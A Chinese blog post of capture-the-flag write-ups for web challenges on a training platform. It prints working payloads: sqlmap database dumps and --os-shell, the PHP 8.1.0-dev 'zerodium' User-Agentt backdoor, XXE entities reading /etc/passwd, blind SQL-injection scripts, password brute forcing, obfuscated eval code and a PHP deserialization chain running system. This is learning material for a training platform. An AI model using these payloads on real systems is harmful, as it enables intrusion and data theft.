• [青少年CTF训练平台]web部分题解(已完结!)


    文章管理系统

    首先打开环境(>ω<。人)ZZz♪♪

    既然要做题,就要做全面了,图上说了,既然有假flag我就先找出来:

    假flag:

    打开vmware,使用sqlmap进行处理:

    sql
    sqlmap -u http://challenge.qsnctf.com:31645/?id=1 --dbs

    记得中间的url换成自己的

    看到了六个可能:

    {*] ctftraining
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] test
    [*] word

    那就挨个读取,利用指令

    sql
    sqlmap -u http://challenge.qsnctf.com:31645/?id=1 -D ctftraining -T test --dump

    ”ctftraining“改为上述文件夹进行尝试最终得到

    好的,得到了假flag了♪(⌒∇⌒)ノ""

    真flag:

    同样打开kali,对sqlmap进行修改代码

    sql
    sqlmap -u "http://challenge.qsnctf.com:32030/?id=1" --os-shell

    进行执行:

    进行寻找:

    查找一下flag:

    sql
    find / -name "flag"

    看到了,调取:

    sql
    cat /flag

    OK,拿到了  (*˘︶˘*).。.:*♡

    sql
    qsnctf{5a73aa45b44b409a815a4051428a3e11}

    Robots

    打开题目环境:

    既然提示了Robots.txt那就访问一下呗:

    http
    http://challenge.qsnctf.com:32422/robots.txt

     看到了有个什么什么的.php

    http
    http://challenge.qsnctf.com:32422/f1ag_1n_the_h3re.php

    得到flag:

    http
    qsnctf{ed8c1a488b4e4304b89c01531d41b99c}

    黑客终端

    打开环境

    ok尝试一下指令,看看是不是SQL一类的

    http
    ls

    方法一:

    有东西,直接抓一下试试

    http
    cat /flag

    啊这?这么简陋好吧

    方法二:

    再看看源码:F12按一下,再ctrl f搜索一下

     

    再次得到,好的,看着很酷炫的花架子结束=.=

    http
    qsnctf{e681d8444f8542aa8e0842d6f77e4c80}

    此地无银三百两

    看到环境写了“此地无银三百两”这类的话术,那就找找看:

    CTRL u或者F12都可以,打开后CTRL f搜索:

    直接发现flag,这里在思考是不是出题漏洞,因为和上一题太像了,一般不会这么出题,当时尝试一下别的方式,结果发现,最快最优就是这个解题方式,当然不嫌麻烦的师傅可以用bp抓包进行操作,效果差不多。

    http
    qsnctf{0fc8582b97874db0bfb98d4449884494}

    EasyMD5

    作者随笔:我使用的是青少年ctf平台(废话,标题都是),这道题加载速度不知道为什么很慢,再加载过程中我看到了google的访问需求可能是这个原因导致,所以不是环境问题,只是慢,做的时候打开耐心等待一会儿就好了  0.o

    打开以后看到了DT 的快乐吟唱

    题目是md5,所以和这个跑不了关系,那就直接文件里边加入内容MD5值是php 弱等于的判断就行,从哪个口上传无所谓的:

    php
    大:s878926199a
    小:s155964671a

    完成后发现要PDF格式(嘤嘤嘤,DT大神竟然生气让我滚)T.T

    方法一:(会在出flag后网站报错,操作简单但是出flag要手速截图)

    那就改一下格式重新上传

     

    出了,但是靶机会在出flag后闪进报错,试了很多遍都是这样,最后确认不是自己的问题以后去找了下出题人找到原因:”做了重定向,入口有问题“。拷打完出题人找了一下解决方案,用bp抓包做题。

    方法二:(操作难一点,需要bp基础,解决了闪报错网址问题)

    上述步骤不变,上传文件时bp抓包

    获取以后直接发包就可以了,flag在最下边,你也可以不改原文件的格式在bp里改成pdf

     

    得到flag 嘻嘻

    php
    qsnctf{dd180d8feb104557b7ecfd87385d33fa}

    PHP的后门

    打开环境后看到了个提示注意php版本

    这样的话就要看一眼了,使用bp进行抓包,看到了版本号是8.1.0-dev

    打开百度搜索什么后门能用,得到答案是:User-Agentt: zerodiumfile_put_contents('indes.php','');类似这段代码可以复写字母后写入想植入的代码

    直接在bp中操作放入:

    php
    User-Agentt: zerodiumsystem("cat /flag");

     

    得到flag:

    php
    qsnctf{3812e3ff73934f4a8c3c6ce1966fa37b}

    需要注意的是括号内可以修改指令,你也可以使用“一句话木马”“ls”等等一系列代码加入蚁剑进行操作,这里就不展示了。=.=

    PHP的XXE

    开启环境以后发现直接是phpinfo上界面,结合题干告诉我要用xml的内容,先所搜xml好了:ctrl f xml

    看到了版本是2.8,这个版本下有一篇博客有详细解释,这里放在这里:=.=

    那么就开始操作,先抓包:

    然后拿着下边代码是科普博客的注解,放了注释给大家,最好还是看一下这个漏洞是什么,跳转链接在上边“=.=”这个里边

    html
     
    xxe [
    name ANY >
    xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;name>
    root>
    
    
    /* 
    1.读取任意文件
    file 协议,file:///etc//passwd
    php 协议,php://filter/read=convert.base64-encode/resource=index.php
    2.执行系统命令
    PHP环境中PHP的expect模块被加载
    expect://ipconfig
    3.内网探测
    http://192.168.0.128:80
    参见:https://xz.aliyun.com/t/3357#toc-11
    */

    首先修改http后的代码,触发bug:

    html
    GET /simplexml_load_string.php HTTP/1.1

    然后带入下边的一把梭的本题代码:

    html
     
    xxe [
    name ANY >
    xxe SYSTEM "file:///flag" >]>
    <root>
    <name>&xxe;name>
    root>

    得到flag:

    php
    qsnctf{c786d4cb0d5647a3a3ddd7103e3ab964}

    bp操作的两步记得分开进行,先触发bug,再一把梭,不然可能无回响哦。。。。

    Easy_SQLi

    打开环境看了一下,只有类似弱口令这样子的login端口,但是题目却叫做sqli,一时间我没找到类似于:“id=1”一类的keyword,所以呢还是先尝试弱口令:

    ok,打开bp

    选择类似图中绿色块中用“§”修改,分别爆破,我这里没有使用混合爆破,主要是因为自己的老年电脑实在算不动混合爆破的数字量,这里我算出来的答案是“admin”和“123456”。

    因为我这里是边做边写wp,所以并不清楚这道题的密码会不会因为每次开靶机的不同发生变化,也就是有没有加入弱口令的动态密码,所以,请师傅不要直接复制粘贴密码,按着操作来一遍,效果一致^_^。

    这里可以使用自己的密码本,如果有新师傅没有密码本可以私信给我,我给师傅们发我的密码本

    登陆成功!

     

    接下来复制url放进脚本,这里送两个类型题脚本,可以根据自己电脑情况选择:

    格式:登陆界面url+/login.php

    脚本1:(吃配置,快)

    python
    import requests
    import time
    url = ""#网站放这里
    flag = ""
    for num in range(1,100):
        for i in range(33,127) :
            data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}
            res = requests.post(url = url, data = data)
            time.sleep(0.05)
            if res.text == "Login successful" :
                flag += chr(i)
                break
    print(flag)        

    脚本2:(不吃配置,慢慢破)‘

    python
    import requests
     
    url = ''#这里放url
    res = ""
     
    for i in range(1, 48, 1):
        for j in range(32, 128, 1):
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
            # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
            payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#"
            data = {
                'uname': "admin' and "+payload,
                'psw':123456
            }
            try:
                r = requests.post(url=url, data=data,timeout=0.2)
            except Exception as e:
                continue
     
            res += chr(j)
            print(res)
            break

     得到flag:

    php
    qsnctf{145435737e6c460abcab2d93e2d46c7d}

    雏形系统

    打开环境后映入眼帘的是登陆系统,那就像之前一样考虑sql 以及弱口令:

    结果折腾半天啥也没有,这是一个可修改的界面,那没办法了试一试dirsearch扫描:

    kali启动!

    php
    dirsearch -u http://challenge.qsnctf.com:32147/ -e all//中间替换成自己的url

    扫描到了www.zip

    那可以直接打开了:

    解压以后出现两个文件,看过以后robots.txt里边没东西,直接打开“qsnctf.php”就可以了

    qsnctf.php

    html
    html>
    <html lang="en">
    
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Login Pagetitle>
        <style>
            body {
                font-family: Arial, sans-serif;
                background-color: #f0f0f0;
                padding: 20px;
            }
    
            .container {
                max-width: 400px;
                margin: 0 auto;
                background-color: #fff;
                padding: 20px;
                border-radius: 5px;
                box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            }
    
            .alert {
                padding: 10px;
                background-color: #f8d7da;
                color: #721c24;
                border-radius: 5px;
                margin-bottom: 10px;
            }
    
            form {
                margin-bottom: 20px;
            }
    
            form input[type="text"],
            form input[type="password"],
            form input[type="submit"] {
                width: 100%;
                padding: 10px;
                margin-bottom: 10px;
                border: 1px solid #ccc;
                border-radius: 3px;
            }
    
            form input[type="submit"] {
                background-color: #007bff;
                color: #fff;
                border: none;
                cursor: pointer;
            }
        style>
    head>
    
    <body>
    <div class="container">
        <h1>Welcome to the login testing page!h1>
        <hr>
        
        <form method="POST">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <input type="submit" value="Login">
        form>
    
    div>
    body>
    
    html>

    审计完以后,去掉无用的图层一系列代码,剩下用的就是

    php
    
        $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
            .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
            .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
        eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
        ?>

    大眼一看混淆,考的还挺新的,给大家送一个博客,我只讲这题。。。0.0“奇安信攻防社区-phpjm混淆解密浅谈

    (2024.3.8笔者随笔:还是补充一下吧,这道题用到的是phpjm的混淆内容还原,大致操作步骤理解为看到下边类似qsnctf.php文件类型的代码,需要你还原一下原来的代码长什么样子,具体操作方法有三个“手动结混淆”,“debug解混淆”,“编写脚本”。编写的脚本在上边的博客中。)

    先把qsnctf.php的eval改成echo

    php
    
        $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
            .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
            .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
        echo($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
        ?>

    得出这个乱七八糟的东西:

    php
    $O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));?>

    替换echo后边的:

    php
    
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    $O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; echo ('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));
    ?>

    这样就得到了源码,长这样:

    php
    
        error_reporting(0);
     
        class shi
        {
            public $next;
            public $pass;
            public function __toString(){
                $this->next::PLZ($this->pass);
            }
        }
        class wo
        {
            public $sex;
            public $age;
            public $intention;
            public function __destruct(){
                echo "Hi Try serialize Me!";
                $this->inspect();
            }
            function inspect(){
                if($this->sex=='boy'&&$this->age=='eighteen')
                {
                    echo $this->intention;
                }
                echo "🙅18岁🈲";
            }
        }
     
        class Demo
        {
            public $a;
            static function __callStatic($action, $do)
            {
                global $b;
                $b($do[0]);
            }
        }
     
        $b = $_POST['password'];
        $a = $_POST['username'];
        @unserialize($a);
        if (!isset($b)) {
            echo "==================PLZ Input Your Name!==================";
        }
        if($a=='admin'&&$b=="'k1fuhu's test demo")
        {
            echo("登录成功");
        }
     
        ?>

    这样再配一下链子:

    php
    
    class shi{}
    class wo{}
    class Demo{}
     
    $c=new Demo();
    $b=new shi();
    $a=new wo();
    $a->sex='boy';
    $a->age='eighteen';
    $a->intention=$b;
    $b->next=$c;
    $b->pass='cat /f*';
    echo serialize($a);

    得到序列化的代码:

    php
    username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}&password=system

    得到flag:

    php
    qsnctf{8e7b8ba095db4988aa48d299211875fc}

     完结撒花!!!希望对师傅们有帮助!◕‿◕


    __EOF__

  • 本文作者: TagLmt的web小窝
  • 本文链接: https://www.cnblogs.com/TagLmtCtf/p/18059224
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 除特殊说明外,转载请注明出处~[知识共享署名-相同方式共享 4.0 国际许可协议]
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    python每日一题【剑指 Offer 46. 把数字翻译成字符串】
    网络地址转换(NAT)(二)
    SpringBoot学习小结之数据库版本管理工具Flyway
    Elasticsearch小bug记录:term: XXX was completely eliminated by analyzer
    JSP学生选课管理系统myeclipse开发sql数据库BS模式java编程网页结构
    kettle基于快照的CDC
    程序设计原则
    【推荐系统】DeepFM模型
    Oracle对临时表空间管理
    观察者模式的运用——消息队列
  • 原文地址:https://www.cnblogs.com/TagLmtCtf/p/18059224